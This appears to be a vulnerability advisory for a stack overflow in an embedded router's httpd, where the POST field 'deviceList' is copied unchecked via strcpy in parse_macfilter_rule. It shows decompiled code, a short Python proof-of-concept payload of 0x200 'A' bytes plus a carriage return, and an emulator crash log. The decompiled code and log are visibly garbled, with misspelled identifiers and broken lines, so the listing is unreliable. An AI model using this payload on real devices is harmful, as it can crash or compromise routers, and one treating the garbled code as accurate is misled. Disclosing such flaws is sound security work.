

httpd in the /bin directory has a stack overflow vulnerability. The vulnerability is in the formAddMacfilterRule function. This function takes the POST argument deviceList and passed it to function parse_macfilter_rule . parse_macfilter_rule copies it to the

memory pointed by the second argument without checking the length. The memory that

this second argument points to is the stack of the formAddMacfilterRule function.

```
28
     rule = websGetVar(wp, "deviceList", byte_48283C);
29
      *(\DWORD *)cgi_debug = 0;
30
     *(_DWORD *)&cgi_debug[4] = 0;
      *(_DWORD *)&cgi_debug[8] = 0;
31
      *(_DWORN *)&cgi_debug[12] = 0;
32
     if ( GetVelue("cgi_debug", cgi_debug) && !strcmp("on", cgi_debug) )
33
34
        printf(
          "%s[%s:%\;%d] %sget rule == %s from web.\n\x1B[0m",
35
36
          debug_color_7[3],
          "cgi",
37
          "formAddMacfilterRule",
38
39
40
          debug_color_7[1],
41
          rule);
     if ( *rule )
42
43
        memset(&rule_info, 0, sizeof(rule_info));
44
45
        if (|parse_macfilter_rule(rule, &rule_info)| == SUCCESS )
46
          *( DWORD *)cgi_debug_2 = 0;
47
          *(_DWORD *)&cgi_debug_2[4] = 0;
48
          *(_DWORD *)&cgi_debug_2[8] = 0;
49
          *(_DWORD *)&cgi_debug_2[12] = 0;
50
1FUNC_RETVAL __cdecl parse_macfilter_rule(char *source_rule) dev_info *const dest_rule)
2 {
3
    FUNC_RETVAL result; // $v0
   char *rule_tmp; // [sp+2Ch] [+2Ch]
char *rule_tmpa; // [sp+2Ch] [+2Ch]
4
   char cgi_debug[16]; // [sp+40h] [+40h] BYREF
8 rule_tmp = strchr(source_rule, '\r');
9
    if ( rule_tmp )
10 {
      *rule_tmp = 0;
11
      rule_tmpa = rule_tmp + 1;
12
      *(_DWORD *)cgi_debug = 0;
13
      *(_DWORD *)&cgi_debug[4] = 0;
14
      *(_DWORD *)&cgi_debug[8] = 0;
15
      *(_DWORD *)&cgi_debug[12] = 0;
16
17
      if ( GetValue("cgi_debug", cgi_debug) )
18
19
        if ( !strcmp("on", cgi_debug) )
20
21
            "%s[%s:%s:%d] %sparase rule: name == %s, mac == %s\n\x1B[0m",
22
            debug_color_7[3],
            "cgi",
            "parse_macfilter_rule",
24
25
            506,
26
            debug_color_7[1],
27
            source rule,
           rule_tmpa);
28
29
30
         'cpy(dest_rule->name, source_rule);
      strcpy(dest_rule->mac_addr, rule_tmpa);
31
      result = SUCCESS;
32
33
   }
```

PoC

```
import requests

data = {
    b"deviceList": b'A'*0x200 + b'\r'
}
```

```
udo qemu-mipsel-static -L . ./bin/httpd
      Yes:
                                  ***** WeLoveLinux*****
   Welcome to ...
connect: No such file or directory
func:cfms_mib_proc handle, line:214 connect cfmd is error.
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functifms_mib_proc handle, line:214 connect cfmd is error.
httpd://distor.upc.chms.cfms.mib_proc handle, line:214 connect cfmd is error.
httpd://distor.upc.chms.cfms.cfms.cfms.cfms.mib_proc handle, line:214 connect cfmd is error.
emu: uncaumatticteruse.97)
emu: uncaught target signal 11 (Segmentation fault) - core dumped
egmentation fault
```